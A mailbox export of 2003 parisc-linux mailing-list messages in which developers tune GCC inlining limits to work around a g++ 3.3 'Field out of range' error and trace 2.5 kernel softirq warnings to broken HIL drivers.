Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 429F3482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 09:40:35 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5JFeXgL021983;
	Thu, 19 Jun 2003 11:40:33 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5JFeWGN021982;
	Thu, 19 Jun 2003 11:40:32 -0400 (EDT)
In-Reply-To: <3ED70CF1000079C3@ocpmta2.freegates.net> from "Joel Soete" at Jun 19, 2003 03:27:33 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18702

Hi Joel,

Putting me on the CC list of the PR would be appreciated.

> > I would suggest that the code being generated for this fuction
> > isn't going to be very good.  Whenever at function
> > exceeds 240KB in size, then GCC needs to generate long branches
> > for function calls and some internal branches.  These sequences
> > are much longer and less efficient.  You can tweak the parameter
> > of the GCC's inlining model and probably reduce the size of
> > the generated code.  The parameters are settable from the
> > command line and are documented in the manual, etc.
> 
> hmm I found well severall cmd line parameter concerning inline stuff and
> I was first tempted to test
> -finline-limit=225000 (doesn't help)
> -finline-limit=120000 (doesn't help more)
> too bad :-(

These are the options that provide detailed control for inlining:

  --param max-inline-insns-rtl=<value> The maximum number of instructions for the RTL inliner
  --param min-inline-insns=<value>     The number of instructions in a single functions still eligible to inlining after a lot recursive inlining
  --param max-inline-slope=<value>     The slope of the linear function throttling inlining after the recursive inlining limit has been reached is given by the negative reciprocal value of this parameter
  --param max-inline-insns=<value>     The maximum number of instructions by repeated inlining before gcc starts to throttle inlining
  --param max-inline-insns-auto=<value> The maximum number of instructions when automatically inlining
  --param max-inline-insns-single=<value> The maximum number of instructions in a single function eligible for inlining

The RTL is not used by C or C++ anymore.  Look in the GCC file params.def
for the defaults and discussion.  I think reducing PARAM_MAX_INLINE_INSNS
from its default of 600 to something in the range of 200-300, or less will
help.  You might also make the slope more aggressive.  I know that changes
are needed to build LyX (see <http://gcc.gnu.org/PR?10160>).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Thu, 19 Jun 2003 19:27:25 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <3ED70CF100007B7A@ocpmta2.freegates.net>
References: <200306191540.h5JFeWGN021982@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622525 26848 80.91.229.3 (22 Nov 2014 02:15:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 11:27:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B2D0482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 11:27:31 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19T3BR-0001Hi-00; Thu, 19 Jun 2003 19:26:49 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 19 Jun 2003 19:27:25 +0200
In-Reply-To: <200306191540.h5JFeWGN021982@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18703

Hey Dave,

> Putting me on the CC list of the PR would be appreciated.

May be have you already recieved this:
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=11254


[...]
> These are the options that provide detailed control for inlining:
>
>   --param max-inline-insns-rtl=<value> The maximum number of instructions
for
> the RTL inliner
>   --param min-inline-insns=<value>     The number of instructions in a
single
> functions still eligible to inlining after a lot recursive inlining
>   --param max-inline-slope=<value>     The slope of the linear function

> throttling inlining after the recursive inlining limit has been reached
is 
> given by the negative reciprocal value of this parameter
>   --param max-inline-insns=<value>     The maximum number of instructions
by
>  repeated inlining before gcc starts to throttle inlining
>   --param max-inline-insns-auto=<value> The maximum number of instructions
>  when automatically inlining
>   --param max-inline-insns-single=<value> The maximum number of instructions
>  in a single function eligible for inlining

> The RTL is not used by C or C++ anymore.  Look in the GCC file params.def
> for the defaults and discussion.  I think reducing PARAM_MAX_INLINE_INSNS
> from its default of 600 to something in the range of 200-300, or less will
> help.  You might also make the slope more aggressive.  I know that changes
> are needed to build LyX (see <http://gcc/gnu.org/PR?10160>).

Ah, in fact I well read it also but do not figure out because of man comment:
"max-inline-insns
    If an function contains more than this many instructions, it
    will not be inlined.  This option is precisely equivalent to
    -finline-limit.
"

Anyway, I try 300, 200, 100 and stop at 50 without any more success :-(
(I can still try lower?)

Thanks again for all,
    Joel


---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Thu, 19 Jun 2003 13:48:08 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200306191748.h5JHm8lY022592@hiauly1.hia.nrc.ca>
References: <3ED70CF100007B7A@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622525 26852 80.91.229.3 (22 Nov 2014 02:15:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be (Joel Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 11:48:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABB8F482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 11:48:10 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h5JHm9gL022594;
	Thu, 19 Jun 2003 13:48:09 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h5JHm8lY022592;
	Thu, 19 Jun 2003 13:48:08 -0400 (EDT)
In-Reply-To: <3ED70CF100007B7A@ocpmta2.freegates.net> from "Joel Soete" at Jun 19, 2003 07:27:25 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18704

> Ah, in fact I well read it also but do not figure out because of man comment:
> "max-inline-insns
>     If an function contains more than this many instructions, it
>     will not be inlined.  This option is precisely equivalent to
>     -finline-limit.
> "
> 
> Anyway, I try 300, 200, 100 and stop at 50 without any more success :-(
> (I can still try lower?)

Actually, I see that the `val' from -finline-limit sets the parameters
as follows in 3.4:

      set_param_value ("max-inline-insns", val);
      set_param_value ("max-inline-insns-single", val/2);
      set_param_value ("max-inline-insns-auto", val/2);
      set_param_value ("max-inline-insns-rtl", val);
      if (val/4 < MIN_INLINE_INSNS)
	{
	  if (val/4 > 10)
	    set_param_value ("min-inline-insns", val/4);
	  else
	    set_param_value ("min-inline-insns", 10);
	}

You might also try -fno-default-inline and -fno-inline, but it's
looking as if inlining isn't the driving factor in the size of
the routine.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Thu, 19 Jun 2003 20:49:45 +0200
Lines: 84
Approved: news@gmane.org
Message-ID: <3EF205C9.9010600@bluehash.de>
References: <200306171622.h5HGM5QJ010581@hiauly1.hia.nrc.ca> <3EF1353C.8030705@bluehash.de> <20030619114009.GA24357@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622526 26853 80.91.229.3 (22 Nov 2014 02:15:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:26 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 12:48:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail1.medianet-world.de [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id 85BFE482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 12:48:50 -0600 (MDT)
Original-Received: (qmail 25082 invoked from network); 19 Jun 2003 18:48:49 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.11.47)
  by mail.medianet-world.de with SMTP; 19 Jun 2003 18:48:49 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <20030619114009.GA24357@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18705

Hi,

back again with new results! Compiled Kernel with CONFIG_KALLSYMS and 
md-support. Here is a part from the boot-log:
---------SNIP

    md: linear personality registered as nr 1
    Badness in local_bh_enable at kernel/softirq.c:109
    Kernel addresses on the stack:
     [<10124ee8>] printk+0xf0/0x128
     [<10105adc>] dump_stack+0x10/0x1c
     [<101289b8>] .L886+0x0/0x50
     [<1028b3d0>] .L1082+0x8/0x18
     [<1028bdd4>] .L812+0x0/0x9c
     [<1012cdb8>] do_timer+0x68/0x118
     [<1028c9b0>] .L917+0x48/0x58
     [<1028cc0c>] hil_mlcs_process+0x28/0x4c
     [<10128c48>] .L919+0x10/0x24
     [<1012891c>] do_softirq+0x9c/0xf8
     [<1010a068>] intr_return+0x0/0x14
     [<10107268>] do_cpu_irq_mask+0x90/0xf0
     [<1020e7a0>] .L1836+0x18/0x38
     [<1010a068>] intr_return+0x0/0x14
     [<10210ef0>] serial8250_console_write+0xf0/0x158
     [<10210ec0>] serial8250_console_write+0xc0/0x158
     [<10124b4c>] __call_console_drivers+0x6c/0x98
     [<10124cd8>] call_console_drivers+0xf0/0x178
     [<1010ea4c>] .L632+0x0/0xac
     [<1012504c>] .L1637+0x0/0x2c
     [<1028b3d0>] .L1082+0x8/0x18
     [<10124f20>] .L1612+0x0/0x38
     [<1028b594>] .L1154+0x0/0x10
     [<1029aa6c>] register_md_personality+0xa0/0xa8
     [<103e14d4>] do_initcalls+0x64/0xe0
     [<10100284>] init+0x28/0x60
     [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

    Badness in local_bh_enable at kernel/softirq.c:109
    Kernel addresses on the stack:
     [<10124ee8>] printk+0xf0/0x128
     [<10105adc>] dump_stack+0x10/0x1c
     [<101289b8>] .L886+0x0/0x50
     [<1028b3d0>] .L1082+0x8/0x18
     [<1028bbf0>] .L762+0x0/0x74
     [<1028ac48>] .L1018+0x0/0x3c
     [<1028cad8>] .L974+0x20/0xc4
     [<1028cc0c>] hil_mlcs_process+0x28/0x4c
     [<10128c48>] .L919+0x10/0x24
     [<1012891c>] do_softirq+0x9c/0xf8
     [<1020e7a0>] .L1836+0x18/0x38
     [<1010a260>] intr_do_softirq+0x8/0x10
     [<101e5248>] $$divU+0x100/0x120
     [<10210ec0>] serial8250_console_write+0xc0/0x158
     [<10124b4c>] __call_console_drivers+0x6c/0x98
     [<10124cd8>] call_console_drivers+0xf0/0x178
     [<1010ea4c>] .L632+0x0/0xac
     [<1012504c>] .L1637+0x0/0x2c
     [<1028b3d0>] .L1082+0x8/0x18
     [<10124f20>] .L1612+0x0/0x38
     [<1028b594>] .L1154+0x0/0x10
     [<1029aa6c>] register_md_personality+0xa0/0xa8
     [<103e14d4>] do_initcalls+0x64/0xe0
     [<10100284>] init+0x28/0x60
     [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

----------SNAP

Later I will grap some piminfo on the loop, and run dump_analyser on it.
Anything else I can do?

Rdiger

Matthew Wilcox schrieb:

>So... what's going on here is that someone's enabling softirqs with hard
>interrupts disabled.  This is not a smart thing to do.  Unfortunately,
>something is messing up the stack backtrace, so it's hard tosee what's
>going on.  Could you turn on CONFIG_KALLSYMS so the kernel prints out
>its symbols?  The messages may still be corrupt, but we should have more
>information to help us figure out what's going on.
>  
>



From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Thu, 19 Jun 2003 20:56:28 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20030619195628.GH24357@parcelfarce.linux.theplanet.co.uk>
References: <200306171622.h5HGM5QJ010581@hiauly1.hia.nrc.ca> <3EF1353C.8030705@bluehash.de> <20030619114009.GA24357@parcelfarce.linux.theplanet.co.uk> <3EF205C9.9010600@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622526 26857 80.91.229.3 (22 Nov 2014 02:15:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:26 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger?= Scholz <r.scholz@bluehash.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 13:56:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C839482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 13:56:30 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19T5WH-0004eS-04; Thu, 19 Jun 2003 20:56:29 +0100
Content-Disposition: inline
In-Reply-To: <3EF205C9.9010600@bluehash.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18706

On Thu, Jun 19, 2003 at 08:49:45PM +0200, Rdiger Scholz wrote:
> Hi,
> 
> back again with new results! Compiled Kernel with CONFIG_KALLSYMS and 
> md-support. Here is a part from the boot-log:
> ---------SNIP
> 
>    md: linear personality registered as nr 1
>    Badness in local_bh_enable at kernel/softirq.c:109
>    Kernel addresses on the stack:
>     [<10124ee8>] printk+0xf0/0x128
>     [<10105adc>] dump_stack+0x10/0x1c
>     [<101289b8>] .L886+0x0/0x50
>     [<1028b3d0>] .L1082+0x8/0x18
>     [<1028bdd4>] .L812+0x0/0x9c
>     [<1012cdb8>] do_timer+0x68/0x118
>     [<1028c9b0>] .L917+0x48/0x58
>     [<1028cc0c>] hil_mlcs_process+0x28/0x4c

... we really need to get these .L symbols cleaned up; stop them entering
the System.map.  Any toolchain hackers interested in looking at this?

Anyway, the fault seems to be in the HIL drivers -- someone said Helge
was looking at this?  If you disable the HIL drivers, does it work?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some 2.5-testing
Date: Fri, 20 Jun 2003 01:28:12 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <200306200127.26572.deller@gmx.de>
References: <200306171622.h5HGM5QJ010581@hiauly1.hia.nrc.ca> <3EF205C9.9010600@bluehash.de> <20030619195628.GH24357@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622526 26864 80.91.229.3 (22 Nov 2014 02:15:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>,
	=?iso-8859-1?q?R=FCdiger=20Scholz?= <r.scholz@bluehash.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 17:27:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 813C1482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 17:27:42 -0600 (MDT)
Original-Received: (qmail 24891 invoked by uid 65534); 19 Jun 2003 23:27:38 -0000
Original-Received: from pD904062F.dip.t-dialin.net (EHLO p100) (217.4.6.47)
  by mail.gmx.net (mp025) with SMTP; 20 Jun 2003 01:27:38 +0200
User-Agent: KMail/1.5.9
In-Reply-To: <20030619195628.GH24357@parcelfarce.linux.theplanet.co.uk>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18707

On Thursday 19 June 2003 21:56, Matthew Wilcox wrote:
> Anyway, the fault seems to be in the HIL drivers -- someone said Helge
> was looking at this?  If you disable the HIL drivers, does it work?

The new HIL drivers are broken and will crash the machine at some point.
Using the old HIL drivers instead, or deactivating HIL completely should work for now, 
until I really get more time to look into the problem (which isn't easy to fix at all).

Helge


From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Fri, 20 Jun 2003 07:47:21 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <3ED71F6D000076F1@ocpmta7.freegates.net>
References: <200306191748.h5JHm8lY022592@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622527 26867 80.91.229.3 (22 Nov 2014 02:15:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 19 23:47:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95D61482D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 19 Jun 2003 23:47:26 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19TEjV-0005T3-00; Fri, 20 Jun 2003 07:46:45 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 20 Jun 2003 07:47:21 +0200
In-Reply-To: <200306191748.h5JHm8lY022592@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18708

Hello Dave,

> > Ah, in fact I well read it also but do not figure out because of man
comment:
> > "max-inline-insns
> >    If an function contains more than this many instructions, it
> >    will not be inlined.  This option is precisely equivalent to
> >    -finline limit.
> > "
> >
> > Anyway, I try 300, 200, 100 and stop at 50 without any more success :-(
> > (I can still try lower?)
>

Could it be different in 3.3? I try with 5 and no success but...

> Actually, I see that the `val' from -finline-limit sets the parameters
> as follows in 3.4:
>
>       set_param_value ("max-inline-insns", val);
>       set_param_value ("max-inline-insns-single", val/2);
>       set_param_value ("max-inline-insns-auto", val/2);
>       set_param_value ("max-inline-insns-rtl", val);
>       if (val/4 < MIN_INLINE_INSNS)
>	{
> 	  if (val/4 > 10)
>	    set param_value ("min-inline-insns", val/4);
> 	  else
> 	    set_param_value ("min-inline-insns", 10);
> 	}
>
> You might also try -fno-default-inline and -fno-inline, but it's
> looking as if inlining isn't the driving factor in the size of
> the routine.

Yes the inlining is one factor:

The first works (see <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-June/020202.html>
;) and certainly the second too;

but also a better news:
(I definitely need to clean my glasses: in man default -finline-limit=600)

and it so works with -finline-limit= something between 350 (works) and 400
(failled). Now I am curious to see the differences between --param and this
-finline-limit (if i have some time)?

Thanks for all,
    Joel

ps: sorry to report so late but my wife was angry because test was too long

---------------------------------
Tiscali ADSL: 19,50 euros/mois...abonnez-vous sur www.tiscali.be




From - Thu Nov 08 21:28:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: g++ (3.3): ...Error: Field out of range
Date: Fri, 20 Jun 2003 08:49:00 +0200
Lines: 82
Approved: news@gmane.org
Message-ID: <3ED71F6D00007732@ocpmta7.freegates.net>
References: <3ED71F6D000076F1@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622527 26880 80.91.229.3 (22 Nov 2014 02:15:27 GMT)
